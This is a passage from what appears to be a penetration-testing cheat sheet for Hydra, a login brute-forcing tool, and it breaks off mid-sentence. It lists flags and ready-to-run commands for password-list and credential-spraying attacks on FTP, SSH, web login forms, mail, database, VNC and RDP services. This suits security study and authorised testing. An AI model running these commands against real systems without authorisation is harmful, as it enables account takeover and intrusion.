Hydra

Overview of Hydra:

• Hydra is a fast and versatile network login cracker that supports various attack protocols, making it suitable for brute-forcing a wide range of services, including web applications, SSH, FTP, and databases.

Key Features:

• Speed and Efficiency: Utilizes parallel connections to perform multiple login attempts simultaneously, significantly speeding up the cracking process.

• Flexibility: Supports numerous protocols and services, adaptable to various attack scenarios.

• Ease of Use: User-friendly command-line interface with clear syntax.

Installation:

• Hydra is often pre-installed on popular penetration testing distributions. To check if it's installed, run:

  hydra -h

• If not installed, use the following commands to install it:

  sudo apt-get -y update
  sudo apt-get -y install hydra

Basic Usage:

• Hydra's basic syntax is:

  hydra [login_options] [password_options] [attack_options] [service_options]

• Parameters:

  • -l LOGIN or -L FILE: Specify a single username or a file with a list of usernames.

  • -p PASS or -P FILE: Provide a single password or a file with a list of passwords.

  • -t TASKS: Define the number of parallel tasks (threads) to run.

  • -f: Fast mode; stops after the first successful login.

  • -s PORT: Specify a non-default port for the target service.

  • -v or -V: Verbose output for detailed progress information.

  • service://server: Specify the service and target server's address.

  • /OPT: Service-specific options for additional requirements.

Commonly Used Services:

Hydra Service	Description	Example Command
ftp	Brute-forces FTP login credentials.	hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
ssh	Targets SSH services for brute-forcing.	hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-get/post	Brute-forces HTTP web login forms.	hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
smtp	Attacks email servers for SMTP login.	hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
pop3	Targets POP3 login credentials.	hydra -l [email protected] -P /path/to/password_list.txt pop3://mail.server.com
imap	Brute-forces IMAP service credentials.	hydra -l [email protected] -P /path/to/password_list.txt imap://mail.server.com
mysql	Attempts to brute-force MySQL database logins.	hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
mssql	Targets Microsoft SQL Server logins.	hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
vnc	Brute-forces VNC services for remote access.	hydra -P /path/to/password_list.txt vnc://192.168.1.100
rdp	Targets Microsoft RDP services.	hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100

Examples of Hydra Usage:

1. Brute-Forcing HTTP Authentication:

   hydra -L usernames.txt -P passwords.txt www.example.com http-get

   • Uses lists of usernames and passwords to target HTTP authentication.

2. Targeting Multiple SSH Servers:

   hydra -l root -p toor -M targets.txt ssh

   • Tests the same credentials across multiple SSH servers listed in targets.txt.

3. Testing FTP Credentials on a Non-Standard Port:

   hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp

   • Tests FTP credentials on port 2121 with verbose output.

4. Brute-Forcing a Web Login Form:

   hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

   • Targets a specific login form and checks for